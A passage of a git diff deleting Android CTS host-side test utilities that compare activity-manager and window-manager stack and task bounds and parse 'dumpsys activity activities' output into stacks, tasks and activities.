-        final int minTaskSizePx = defaultMinimalTaskSize(DEFAULT_DISPLAY_ID);
-        final Display display = getWmState().getDisplay(DEFAULT_DISPLAY_ID);
-        final Rectangle displayRect = display.getDisplayRect();
-        if (Math.min(displayRect.width, displayRect.height) < minTaskSizePx) {
-            fail(errorMessage);
-        }
-    }
-
-    private String getWindowNameForActivityName(String activityName) {
-        return activityName.replaceAll("(.*)\\/\\.", "$1/$1.");
-    }
-
-    boolean taskListsInAmAndWmAreEqual() {
-        for (ActivityStack aStack : mAmState.getStacks()) {
-            final int stackId = aStack.mStackId;
-            final WindowStack wStack = mWmState.getStack(stackId);
-            if (wStack == null) {
-                log("Waiting for stack setup in WM, stackId=" + stackId);
-                return false;
-            }
-
-            for (ActivityTask aTask : aStack.getTasks()) {
-                if (wStack.getTask(aTask.mTaskId) == null) {
-                    log("Task is in AM but not in WM, waiting for it to settle, taskId="
-                            + aTask.mTaskId);
-                    return false;
-                }
-            }
-
-            for (WindowTask wTask : wStack.mTasks) {
-                if (aStack.getTask(wTask.mTaskId) == null) {
-                    log("Task is in WM but not in AM, waiting for it to settle, taskId="
-                            + wTask.mTaskId);
-                    return false;
-                }
-            }
-        }
-        return true;
-    }
-
-    int getStackPosition(int stackId) {
-        int wmStackIndex = mWmState.getStackPosition(stackId);
-        int amStackIndex = mAmState.getStackPosition(stackId);
-        assertEquals("Window and activity manager must have the same stack position index",
-                amStackIndex, wmStackIndex);
-        return wmStackIndex;
-    }
-
-    boolean stackBoundsInAMAndWMAreEqual() {
-        for (ActivityStack aStack : mAmState.getStacks()) {
-            final int stackId = aStack.mStackId;
-            final WindowStack wStack = mWmState.getStack(stackId);
-            if (aStack.isFullscreen() != wStack.isFullscreen()) {
-                log("Waiting for correct fullscreen state, stackId=" + stackId);
-                return false;
-            }
-
-            final Rectangle aStackBounds = aStack.getBounds();
-            final Rectangle wStackBounds = wStack.getBounds();
-
-            if (aStack.isFullscreen()) {
-                if (aStackBounds != null) {
-                    log("Waiting for correct stack state in AM, stackId=" + stackId);
-                    return false;
-                }
-            } else if (!Objects.equals(aStackBounds, wStackBounds)) {
-                // If stack is not fullscreen - comparing bounds. Not doing it always because
-                // for fullscreen stack bounds in WM can be either null or equal to display size.
-                log("Waiting for stack bound equality in AM and WM, stackId=" + stackId);
-                return false;
-            }
-        }
-
-        return true;
-    }
-
-    /** Check task bounds when docked to top/left. */
-    void assertDockedTaskBounds(int taskWidth, int taskHeight, String activityName) {
-        // Task size can be affected by default minimal size.
-        int defaultMinimalTaskSize = defaultMinimalTaskSize(
-                mAmState.getStackById(ActivityManagerTestBase.DOCKED_STACK_ID).mDisplayId);
-        int targetWidth = Math.max(taskWidth, defaultMinimalTaskSize);
-        int targetHeight = Math.max(taskHeight, defaultMinimalTaskSize);
-
-        assertEquals(new Rectangle(0, 0, targetWidth, targetHeight),
-                mAmState.getTaskByActivityName(activityName).getBounds());
-    }
-
-    void assertValidBounds(boolean compareTaskAndStackBounds) {
-        // Cycle through the stacks and tasks to figure out if the home stack is resizable
-        final ActivityTask homeTask = mAmState.getHomeTask();
-        final boolean homeStackIsResizable = homeTask != null
-                && homeTask.getResizeMode().equals(RESIZE_MODE_RESIZEABLE);
-
-        for (ActivityStack aStack : mAmState.getStacks()) {
-            final int stackId = aStack.mStackId;
-            final WindowStack wStack = mWmState.getStack(stackId);
-            assertNotNull("stackId=" + stackId + " in AM but not in WM?", wStack);
-
-            assertEquals("Stack fullscreen state in AM and WM must be equal stackId=" + stackId,
-                    aStack.isFullscreen(), wStack.isFullscreen());
-
-            final Rectangle aStackBounds = aStack.getBounds();
-            final Rectangle wStackBounds = wStack.getBounds();
-
-            if (aStack.isFullscreen()) {
-                assertNull("Stack bounds in AM must be null stackId=" + stackId, aStackBounds);
-            } else {
-                assertEquals("Stack bounds in AM and WM must be equal stackId=" + stackId,
-                        aStackBounds, wStackBounds);
-            }
-
-            for (ActivityTask aTask : aStack.getTasks()) {
-                final int taskId = aTask.mTaskId;
-                final WindowTask wTask = wStack.getTask(taskId);
-                assertNotNull(
-                        "taskId=" + taskId + " in AM but not in WM? stackId=" + stackId, wTask);
-
-                final boolean aTaskIsFullscreen = aTask.isFullscreen();
-                final boolean wTaskIsFullscreen = wTask.isFullscreen();
-                assertEquals("Task fullscreen state in AM and WM must be equal taskId=" + taskId
-                        + ", stackId=" + stackId, aTaskIsFullscreen, wTaskIsFullscreen);
-
-                final Rectangle aTaskBounds = aTask.getBounds();
-                final Rectangle wTaskBounds = wTask.getBounds();
-                final Rectangle displayRect = mWmState.getDisplay(aStack.mDisplayId)
-                        .getDisplayRect();
-
-                if (aTaskIsFullscreen) {
-                    assertNull("Task bounds in AM must be null for fullscreen taskId=" + taskId,
-                            aTaskBounds);
-                } else if (!homeStackIsResizable && mWmState.isDockedStackMinimized()
-                        && displayRect.getWidth() > displayRect.getHeight()) {
-                    // When minimized using non-resizable launcher in landscape mode, it will move
-                    // the task offscreen in the negative x direction unlike portrait that crops.
-                    // The x value in the task bounds will not match the stack bounds since the
-                    // only the task was moved.
-                    assertEquals("Task bounds in AM and WM must match width taskId=" + taskId
-                            + ", stackId" + stackId, aTaskBounds.getWidth(),
-                            wTaskBounds.getWidth());
-                    assertEquals("Task bounds in AM and WM must match height taskId=" + taskId
-                                    + ", stackId" + stackId, aTaskBounds.getHeight(),
-                            wTaskBounds.getHeight());
-                    assertEquals("Task bounds must match stack bounds y taskId=" + taskId
-                                    + ", stackId" + stackId, aTaskBounds.getY(),
-                            wTaskBounds.getY());
-                    assertEquals("Task and stack bounds must match width taskId=" + taskId
-                                    + ", stackId" + stackId, aStackBounds.getWidth(),
-                            wTaskBounds.getWidth());
-                    assertEquals("Task and stack bounds must match height taskId=" + taskId
-                                    + ", stackId" + stackId, aStackBounds.getHeight(),
-                            wTaskBounds.getHeight());
-                    assertEquals("Task and stack bounds must match y taskId=" + taskId
-                                    + ", stackId" + stackId, aStackBounds.getY(),
-                            wTaskBounds.getY());
-                } else {
-                    assertEquals("Task bounds in AM and WM must be equal taskId=" + taskId
-                            + ", stackId=" + stackId, aTaskBounds, wTaskBounds);
-
-                    if (compareTaskAndStackBounds && stackId != FREEFORM_WORKSPACE_STACK_ID) {
-                        int aTaskMinWidth = aTask.getMinWidth();
-                        int aTaskMinHeight = aTask.getMinHeight();
-
-                        if (aTaskMinWidth == -1 || aTaskMinHeight == -1) {
-                            // Minimal dimension(s) not set for task - it should be using defaults.
-                            int defaultMinimalSize = (stackId == PINNED_STACK_ID)
-                                    ? defaultMinimalPinnedTaskSize(aStack.mDisplayId)
-                                    : defaultMinimalTaskSize(aStack.mDisplayId);
-
-                            if (aTaskMinWidth == -1) {
-                                aTaskMinWidth = defaultMinimalSize;
-                            }
-                            if (aTaskMinHeight == -1) {
-                                aTaskMinHeight = defaultMinimalSize;
-                            }
-                        }
-
-                        if (aStackBounds.getWidth() >= aTaskMinWidth
-                                && aStackBounds.getHeight() >= aTaskMinHeight
-                                || stackId == PINNED_STACK_ID) {
-                            // Bounds are not smaller then minimal possible, so stack and task
-                            // bounds must be equal.
-                            assertEquals("Task bounds must be equal to stack bounds taskId="
-                                    + taskId + ", stackId=" + stackId, aStackBounds, wTaskBounds);
-                        } else if (stackId == DOCKED_STACK_ID && homeStackIsResizable
-                                && mWmState.isDockedStackMinimized()) {
-                            // Portrait if the display height is larger than the width
-                            if (displayRect.getHeight() > displayRect.getWidth()) {
-                                assertEquals("Task width must be equal to stack width taskId="
-                                        + taskId + ", stackId=" + stackId,
-                                        aStackBounds.getWidth(), wTaskBounds.getWidth());
-                                assertTrue("Task height must be greater than stack height "
-                                        + "taskId=" + taskId + ", stackId=" + stackId,
-                                        aStackBounds.getHeight() < wTaskBounds.getHeight());
-                                assertEquals("Task and stack x position must be equal taskId="
-                                        + taskId + ", stackId=" + stackId,
-                                        wTaskBounds.getX(), wStackBounds.getX());
-                            } else {
-                                assertTrue("Task width must be greater than stack width taskId="
-                                        + taskId + ", stackId=" + stackId,
-                                        aStackBounds.getWidth() < wTaskBounds.getWidth());
-                                assertEquals("Task height must be equal to stack height taskId="
-                                        + taskId + ", stackId=" + stackId,
-                                        aStackBounds.getHeight(), wTaskBounds.getHeight());
-                                assertEquals("Task and stack y position must be equal taskId="
-                                        + taskId + ", stackId=" + stackId, wTaskBounds.getY(),
-                                        wStackBounds.getY());
-                            }
-                        } else {
-                            // Minimal dimensions affect task size, so bounds of task and stack must
-                            // be different - will compare dimensions instead.
-                            int targetWidth = (int) Math.max(aTaskMinWidth,
-                                    aStackBounds.getWidth());
-                            assertEquals("Task width must be set according to minimal width"
-                                            + " taskId=" + taskId + ", stackId=" + stackId,
-                                    targetWidth, (int) wTaskBounds.getWidth());
-                            int targetHeight = (int) Math.max(aTaskMinHeight,
-                                    aStackBounds.getHeight());
-                            assertEquals("Task height must be set according to minimal height"
-                                            + " taskId=" + taskId + ", stackId=" + stackId,
-                                    targetHeight, (int) wTaskBounds.getHeight());
-                        }
-                    }
-                }
-            }
-        }
-    }
-
-    static int dpToPx(float dp, int densityDpi){
-        return (int) (dp * densityDpi / DISPLAY_DENSITY_DEFAULT + 0.5f);
-    }
-
-    private int defaultMinimalTaskSize(int displayId) {
-        return dpToPx(DEFAULT_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
-    }
-
-    private int defaultMinimalPinnedTaskSize(int displayId) {
-        return dpToPx(DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP, mWmState.getDisplay(displayId).getDpi());
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
deleted file mode 100644
index fa79c5e..0000000
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
+++ /dev/null
@@ -1,910 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-import java.awt.Rectangle;
-import java.lang.Integer;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.HashMap;
-import java.util.LinkedList;
-import java.util.List;
-
-import java.util.Map;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-import static android.server.cts.ActivityManagerTestBase.HOME_STACK_ID;
-import static android.server.cts.ActivityManagerTestBase.RECENTS_STACK_ID;
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-class ActivityManagerState {
-    public static final int DUMP_MODE_ACTIVITIES = 0;
-
-    public static final String STATE_RESUMED = "RESUMED";
-    public static final String STATE_PAUSED = "PAUSED";
-    public static final String STATE_STOPPED = "STOPPED";
-    public static final String STATE_DESTROYED = "DESTROYED";
-
-    public static final String RESIZE_MODE_RESIZEABLE = "RESIZE_MODE_RESIZEABLE";
-
-    private static final String DUMPSYS_ACTIVITY_ACTIVITIES = "dumpsys activity activities";
-
-    // Copied from ActivityRecord.java
-    private static final int APPLICATION_ACTIVITY_TYPE = 0;
-    private static final int HOME_ACTIVITY_TYPE = 1;
-    private static final int RECENTS_ACTIVITY_TYPE = 2;
-
-    private final Pattern mDisplayIdPattern = Pattern.compile("Display #(\\d+).*");
-    private final Pattern mStackIdPattern = Pattern.compile("Stack #(\\d+)\\:");
-    private final Pattern mResumedActivityPattern =
-            Pattern.compile("ResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
-    private final Pattern mFocusedStackPattern =
-            Pattern.compile("mFocusedStack=ActivityStack\\{(.+) stackId=(\\d+), (.+)\\}(.+)");
-
-    private final Pattern[] mExtractStackExitPatterns =
-            { mStackIdPattern, mResumedActivityPattern, mFocusedStackPattern, mDisplayIdPattern };
-
-    // Stacks in z-order with the top most at the front of the list, starting with primary display.
-    private final List<ActivityStack> mStacks = new ArrayList();
-    // Stacks on all attached displays, in z-order with the top most at the front of the list.
-    private final Map<Integer, List<ActivityStack>> mDisplayStacks = new HashMap<>();
-    private KeyguardControllerState mKeyguardControllerState;
-    private int mFocusedStackId = -1;
-    private String mResumedActivityRecord = null;
-    private final List<String> mResumedActivities = new ArrayList();
-    private final LinkedList<String> mSysDump = new LinkedList();
-
-    void computeState(ITestDevice device) throws DeviceNotAvailableException {
-        computeState(device, DUMP_MODE_ACTIVITIES);
-    }
-
-    void computeState(ITestDevice device, int dumpMode) throws DeviceNotAvailableException {
-        // It is possible the system is in the middle of transition to the right state when we get
-        // the dump. We try a few times to get the information we need before giving up.
-        int retriesLeft = 3;
-        boolean retry = false;
-        String dump = null;
-
-        log("==============================");
-        log("     ActivityManagerState     ");
-        log("==============================");
-
-        do {
-            if (retry) {
-                log("***Incomplete AM state. Retrying...");
-                // Wait half a second between retries for activity manager to finish transitioning.
-                try {
-                    Thread.sleep(500);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            }
-
-            final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-            String dumpsysCmd = "";
-            switch (dumpMode) {
-                case DUMP_MODE_ACTIVITIES:
-                    dumpsysCmd = DUMPSYS_ACTIVITY_ACTIVITIES; break;
-            }
-            device.executeShellCommand(dumpsysCmd, outputReceiver);
-            dump = outputReceiver.getOutput();
-            parseSysDump(dump);
-
-            retry = mStacks.isEmpty() || mFocusedStackId == -1 || (mResumedActivityRecord == null
-                    || mResumedActivities.isEmpty()) && !mKeyguardControllerState.keyguardShowing;
-        } while (retry && retriesLeft-- > 0);
-
-        if (retry) {
-            log(dump);
-        }
-
-        if (mStacks.isEmpty()) {
-            logE("No stacks found...");
-        }
-        if (mFocusedStackId == -1) {
-            logE("No focused stack found...");
-        }
-        if (mResumedActivityRecord == null) {
-            logE("No focused activity found...");
-        }
-        if (mResumedActivities.isEmpty()) {
-            logE("No resumed activities found...");
-        }
-    }
-
-    private void parseSysDump(String sysDump) {
-        reset();
-
-        Collections.addAll(mSysDump, sysDump.split("\\n"));
-
-        int currentDisplayId = 0;
-        while (!mSysDump.isEmpty()) {
-            final ActivityStack stack = ActivityStack.create(mSysDump, mStackIdPattern,
-                    mExtractStackExitPatterns, currentDisplayId);
-
-            if (stack != null) {
-                mStacks.add(stack);
-                mDisplayStacks.get(currentDisplayId).add(stack);
-                if (stack.mResumedActivity != null) {
-                    mResumedActivities.add(stack.mResumedActivity);
-                }
-                continue;
-            }
-
-            KeyguardControllerState controller = KeyguardControllerState.create(
-                    mSysDump, new Pattern[0]);
-            if (controller != null) {
-                mKeyguardControllerState = controller;
-                continue;
-            }
-
-            final String line = mSysDump.pop().trim();
-
-            Matcher matcher = mFocusedStackPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String stackId = matcher.group(2);
-                log(stackId);
-                mFocusedStackId = Integer.parseInt(stackId);
-                continue;
-            }
-
-            matcher = mResumedActivityPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                mResumedActivityRecord = matcher.group(3);
-                log(mResumedActivityRecord);
-                continue;
-            }
-
-            matcher = mDisplayIdPattern.matcher(line);
-            if (matcher.matches()) {
-                log(line);
-                final String displayId = matcher.group(1);
-                log(displayId);
-                currentDisplayId = Integer.parseInt(displayId);
-                mDisplayStacks.put(currentDisplayId, new ArrayList<>());
-            }
-        }
-    }
-
-    private void reset() {
-        mStacks.clear();
-        mFocusedStackId = -1;
-        mResumedActivityRecord = null;
-        mResumedActivities.clear();
-        mSysDump.clear();
-        mKeyguardControllerState = null;
-    }
-
-    int getFrontStackId(int displayId) {
-        return mDisplayStacks.get(displayId).get(0).mStackId;
-    }
-
-    int getFocusedStackId() {
-        return mFocusedStackId;
-    }
-
-    String getFocusedActivity() {
-        return mResumedActivityRecord;
-    }
-
-    String getResumedActivity() {
-        return mResumedActivities.get(0);
-    }
-
-    int getResumedActivitiesCount() {
-        return mResumedActivities.size();
-    }
-
-    public KeyguardControllerState getKeyguardControllerState() {
-        return mKeyguardControllerState;
-    }
-
-    boolean containsStack(int stackId) {
-        return getStackById(stackId) != null;
-    }
-
-    ActivityStack getStackById(int stackId) {
-        for (ActivityStack stack : mStacks) {
-            if (stackId == stack.mStackId) {
-                return stack;
-            }
-        }
-        return null;
-    }
-
-    int getStackPosition(int stackId) {
-        for (Integer displayId : mDisplayStacks.keySet()) {
-            List<ActivityStack> stacks = mDisplayStacks.get(displayId);
-            for (int i = 0; i < stacks.size(); i++) {
-                if (stackId == stacks.get(i).mStackId) {
-                    return i;
-                }
-            }
-        }
-        return -1;
-    }
-
-    List<ActivityStack> getStacks() {
-        return new ArrayList(mStacks);
-    }
-
-    int getStackCount() {
-        return mStacks.size();
-    }
-
-    boolean containsActivity(String activityName) {
-        for (ActivityStack stack : mStacks) {
-            for (ActivityTask task : stack.mTasks) {
-                for (Activity activity : task.mActivities) {
-                    if (activity.name.equals(activityName)) {
-                        return true;
-                    }
-                }
-            }
-        }
-        return false;
-    }
-
-    boolean isActivityVisible(String activityName) {
-        for (ActivityStack stack : mStacks) {
-            for (ActivityTask task : stack.mTasks) {
-               for (Activity activity : task.mActivities) {
-                   if (activity.name.equals(activityName)) {
-                       return activity.visible;
-                   }
-               }
-            }
-        }
-        return false;
-    }
-
-    boolean containsStartedActivities() {
-        for (ActivityStack stack : mStacks) {
-            for (ActivityTask task : stack.mTasks) {
-                for (Activity activity : task.mActivities) {
-                    if (!activity.state.equals(STATE_STOPPED)
-                            && !activity.state.equals(STATE_DESTROYED)) {
-                        return true;
-                    }
-                }
-            }
-        }
-        return false;
-    }
-
-    boolean hasActivityState(String activityName, String activityState) {
-        String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        for (ActivityStack stack : mStacks) {
-            for (ActivityTask task : stack.mTasks) {
-                for (Activity activity : task.mActivities) {
-                    if (activity.name.equals(fullName)) {
-                        return activity.state.equals(activityState);
-                    }
-                }
-            }
-        }
-        return false;
-    }
-
-    int getActivityProcId(String activityName) {
-        for (ActivityStack stack : mStacks) {
-            for (ActivityTask task : stack.mTasks) {
-               for (Activity activity : task.mActivities) {
-                   if (activity.name.equals(activityName)) {
-                       return activity.procId;
-                   }
-               }
-            }
-        }
-        return -1;
-    }
-
-    boolean isHomeActivityVisible() {
-        final Activity homeActivity = getHomeActivity();
-        return homeActivity != null && homeActivity.visible;
-    }
-
-    boolean isRecentsActivityVisible() {
-        final Activity recentsActivity = getRecentsActivity();
-        return recentsActivity != null && recentsActivity.visible;
-    }
-
-    String getHomeActivityName() {
-        Activity activity = getHomeActivity();
-        if (activity == null) {
-            return null;
-        }
-        return activity.name;
-    }
-
-    ActivityTask getHomeTask() {
-        ActivityStack homeStack = getStackById(HOME_STACK_ID);
-        if (homeStack != null) {
-            for (ActivityTask task : homeStack.mTasks) {
-                if (task.mTaskType == HOME_ACTIVITY_TYPE) {
-                    return task;
-                }
-            }
-            return null;
-        }
-        return null;
-    }
-
-    ActivityTask getRecentsTask() {
-        ActivityStack recentsStack = getStackById(RECENTS_STACK_ID);
-        if (recentsStack != null) {
-            for (ActivityTask task : recentsStack.mTasks) {
-                if (task.mTaskType == RECENTS_ACTIVITY_TYPE) {
-                    return task;
-                }
-            }
-            return null;
-        }
-        return null;
-    }
-
-    private Activity getHomeActivity() {
-        final ActivityTask homeTask = getHomeTask();
-        return homeTask != null ? homeTask.mActivities.get(homeTask.mActivities.size() - 1) : null;
-    }
-
-    private Activity getRecentsActivity() {
-        final ActivityTask recentsTask = getRecentsTask();
-        return recentsTask != null ? recentsTask.mActivities.get(recentsTask.mActivities.size() - 1)
-                : null;
-    }
-
-    ActivityTask getTaskByActivityName(String activityName) {
-        return getTaskByActivityName(activityName, -1);
-    }
-
-    ActivityTask getTaskByActivityName(String activityName, int stackId) {
-        String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
-        for (ActivityStack stack : mStacks) {
-            if (stackId == -1 || stackId == stack.mStackId) {
-                for (ActivityTask task : stack.mTasks) {
-                    for (Activity activity : task.mActivities) {
-                        if (activity.name.equals(fullName)) {
-                            return task;
-                        }
-                    }
-                }
-            }
-        }
-        return null;
-    }
-
-    static class ActivityStack extends ActivityContainer {
-
-        private static final Pattern TASK_ID_PATTERN = Pattern.compile("Task id #(\\d+)");
-        private static final Pattern RESUMED_ACTIVITY_PATTERN = Pattern.compile(
-                "mResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
-        private static final Pattern SLEEPING_PATTERN = Pattern.compile("isSleeping=(\\S+)");
-
-        int mDisplayId;
-        int mStackId;
-        String mResumedActivity;
-        Boolean mSleeping; // A Boolean to trigger an NPE if it's not initialized
-        ArrayList<ActivityTask> mTasks = new ArrayList();
-
-        private ActivityStack() {
-        }
-
-        static ActivityStack create(LinkedList<String> dump, Pattern stackIdPattern,
-                                    Pattern[] exitPatterns, int displayId) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = stackIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not a stack.
-                return null;
-            }
-            // For the stack Id line we just read.
-            dump.pop();
-
-            final ActivityStack stack = new ActivityStack();
-            stack.mDisplayId = displayId;
-            log(line);
-            final String stackId = matcher.group(1);
-            log(stackId);
-            stack.mStackId = Integer.parseInt(stackId);
-            stack.extract(dump, exitPatterns);
-            return stack;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
-            final List<Pattern> taskExitPatterns = new ArrayList();
-            Collections.addAll(taskExitPatterns, exitPatterns);
-            taskExitPatterns.add(TASK_ID_PATTERN);
-            taskExitPatterns.add(RESUMED_ACTIVITY_PATTERN);
-            final Pattern[] taskExitPatternsArray =
-                    taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
-
-            while (!doneExtracting(dump, exitPatterns)) {
-                final ActivityTask task =
-                        ActivityTask.create(dump, TASK_ID_PATTERN, taskExitPatternsArray);
-
-                if (task != null) {
-                    mTasks.add(task);
-                    continue;
-                }
-
-                final String line = dump.pop().trim();
-
-                if (extractFullscreen(line)) {
-                    continue;
-                }
-
-                if (extractBounds(line)) {
-                    continue;
-                }
-
-                Matcher matcher = RESUMED_ACTIVITY_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mResumedActivity = matcher.group(3);
-                    log(mResumedActivity);
-                    continue;
-                }
-
-                matcher = SLEEPING_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mSleeping = "true".equals(matcher.group(1));
-                    continue;
-                }
-            }
-        }
-
-        /**
-         * @return the bottom task in the stack.
-         */
-        ActivityTask getBottomTask() {
-            if (!mTasks.isEmpty()) {
-                // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
-                //       so the indices are inverted
-                return mTasks.get(mTasks.size() - 1);
-            }
-            return null;
-        }
-
-        /**
-         * @return the top task in the stack.
-         */
-        ActivityTask getTopTask() {
-            if (!mTasks.isEmpty()) {
-                // NOTE: Unlike the ActivityManager internals, we dump the state from top to bottom,
-                //       so the indices are inverted
-                return mTasks.get(0);
-            }
-            return null;
-        }
-
-        List<ActivityTask> getTasks() {
-            return new ArrayList(mTasks);
-        }
-
-        ActivityTask getTask(int taskId) {
-            for (ActivityTask task : mTasks) {
-                if (taskId == task.mTaskId) {
-                    return task;
-                }
-            }
-            return null;
-        }
-    }
-
-    static class ActivityTask extends ActivityContainer {
-        private static final Pattern TASK_RECORD_PATTERN = Pattern.compile("\\* TaskRecord\\"
-                + "{(\\S+) #(\\d+) (\\S+)=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
-
-        private static final Pattern LAST_NON_FULLSCREEN_BOUNDS_PATTERN = Pattern.compile(
-                "mLastNonFullscreenBounds=Rect\\((\\d+), (\\d+) - (\\d+), (\\d+)\\)");
-
-        private static final Pattern ORIG_ACTIVITY_PATTERN = Pattern.compile("origActivity=(\\S+)");
-        private static final Pattern REAL_ACTIVITY_PATTERN = Pattern.compile("realActivity=(\\S+)");
-
-        private static final Pattern ACTIVITY_NAME_PATTERN = Pattern.compile(
-                "\\* Hist #(\\d+)\\: ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}");
-
-        private static final Pattern TASK_TYPE_PATTERN = Pattern.compile("autoRemoveRecents=(\\S+) "
-                + "isPersistable=(\\S+) numFullscreen=(\\d+) taskType=(\\d+) "
-                + "mTaskToReturnTo=(\\d+)");
-
-        private static final Pattern RESIZABLE_PATTERN = Pattern.compile(
-                ".*mResizeMode=([^\\s]+).*");
-
-        int mTaskId;
-        int mStackId;
-        Rectangle mLastNonFullscreenBounds;
-        String mRealActivity;
-        String mOrigActivity;
-        ArrayList<Activity> mActivities = new ArrayList();
-        int mTaskType = -1;
-        int mReturnToType = -1;
-        private String mResizeMode;
-
-        private ActivityTask() {
-        }
-
-        static ActivityTask create(
-                LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = taskIdPattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not a task.
-                return null;
-            }
-            // For the task Id line we just read.
-            dump.pop();
-
-            final ActivityTask task = new ActivityTask();
-            log(line);
-            final String taskId = matcher.group(1);
-            log(taskId);
-            task.mTaskId = Integer.parseInt(taskId);
-            task.extract(dump, exitPatterns);
-            return task;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-            final List<Pattern> activityExitPatterns = new ArrayList();
-            Collections.addAll(activityExitPatterns, exitPatterns);
-            activityExitPatterns.add(ACTIVITY_NAME_PATTERN);
-            final Pattern[] activityExitPatternsArray =
-                    activityExitPatterns.toArray(new Pattern[activityExitPatterns.size()]);
-
-            while (!doneExtracting(dump, exitPatterns)) {
-                final Activity activity =
-                        Activity.create(dump, ACTIVITY_NAME_PATTERN, activityExitPatternsArray);
-
-                if (activity != null) {
-                    mActivities.add(activity);
-                    continue;
-                }
-
-                final String line = dump.pop().trim();
-
-                if (extractFullscreen(line)) {
-                    continue;
-                }
-
-                if (extractBounds(line)) {
-                    continue;
-                }
-
-                if (extractMinimalSize(line)) {
-                    continue;
-                }
-
-                Matcher matcher = TASK_RECORD_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    final String stackId = matcher.group(6);
-                    mStackId = Integer.valueOf(stackId);
-                    log(stackId);
-                    continue;
-                }
-
-                matcher = LAST_NON_FULLSCREEN_BOUNDS_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mLastNonFullscreenBounds = extractBounds(matcher);
-                }
-
-                matcher = REAL_ACTIVITY_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    if (mRealActivity == null) {
-                        log(line);
-                        mRealActivity = matcher.group(1);
-                        log(mRealActivity);
-                    }
-                    continue;
-                }
-
-                matcher = ORIG_ACTIVITY_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    if (mOrigActivity == null) {
-                        log(line);
-                        mOrigActivity = matcher.group(1);
-                        log(mOrigActivity);
-                    }
-                    continue;
-                }
-
-                matcher = TASK_TYPE_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mTaskType = Integer.valueOf(matcher.group(4));
-                    mReturnToType = Integer.valueOf(matcher.group(5));
-                    continue;
-                }
-
-                matcher = RESIZABLE_PATTERN.matcher(line);
-                if (matcher.matches()) {
-                    log(line);
-                    mResizeMode = matcher.group(1);
-                    log(mResizeMode);
-                    continue;
-                }
-            }
-        }
-
-        public String getResizeMode() {
-            return mResizeMode;
-        }
-
-        /**
-         * @return whether this task contains the given activity.
-         */
-        public boolean containsActivity(String activityName) {
-            for (Activity activity : mActivities) {
-                if (activity.name.equals(activityName)) {
-                    return true;
-                }
-            }
-            return false;
-        }
-    }
-
-    static class Activity {
-        private static final Pattern STATE_PATTERN = Pattern.compile("state=(\\S+).*");
-        private static final Pattern VISIBILITY_PATTERN = Pattern.compile("keysPaused=(\\S+) "
-                + "inHistory=(\\S+) visible=(\\S+) sleeping=(\\S+) idle=(\\S+) "
-                + "mStartingWindowState=(\\S+)");
-        private static final Pattern FRONT_OF_TASK_PATTERN = Pattern.compile("frontOfTask=(\\S+) "
-                + "task=TaskRecord\\{(\\S+) #(\\d+) A=(\\S+) U=(\\d+) StackId=(\\d+) sz=(\\d+)\\}");
-        private static final Pattern PROCESS_RECORD_PATTERN = Pattern.compile(
-                "app=ProcessRecord\\{(\\S+) (\\d+):(\\S+)/(.+)\\}");
-
-        String name;
-        String state;
-        boolean visible;
-        boolean frontOfTask;
-        int procId = -1;
-
-        private Activity() {
-        }
-
-        static Activity create(
-                LinkedList<String> dump, Pattern activityNamePattern, Pattern[] exitPatterns) {
-            final String line = dump.peek().trim();
-
-            final Matcher matcher = activityNamePattern.matcher(line);
-            if (!matcher.matches()) {
-                // Not an activity.
-                return null;
-            }
-            // For the activity name line we just read.
-            dump.pop();
-
-            final Activity activity = new Activity();
-            log(line);
-            activity.name = matcher.group(4);
-            log(activity.name);
-            activity.extract(dump, exitPatterns);
-            return activity;
-        }
-
-        private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
-            while (!doneExtracting(dump, exitPatterns)) {
-                final String line = dump.pop().trim();
-
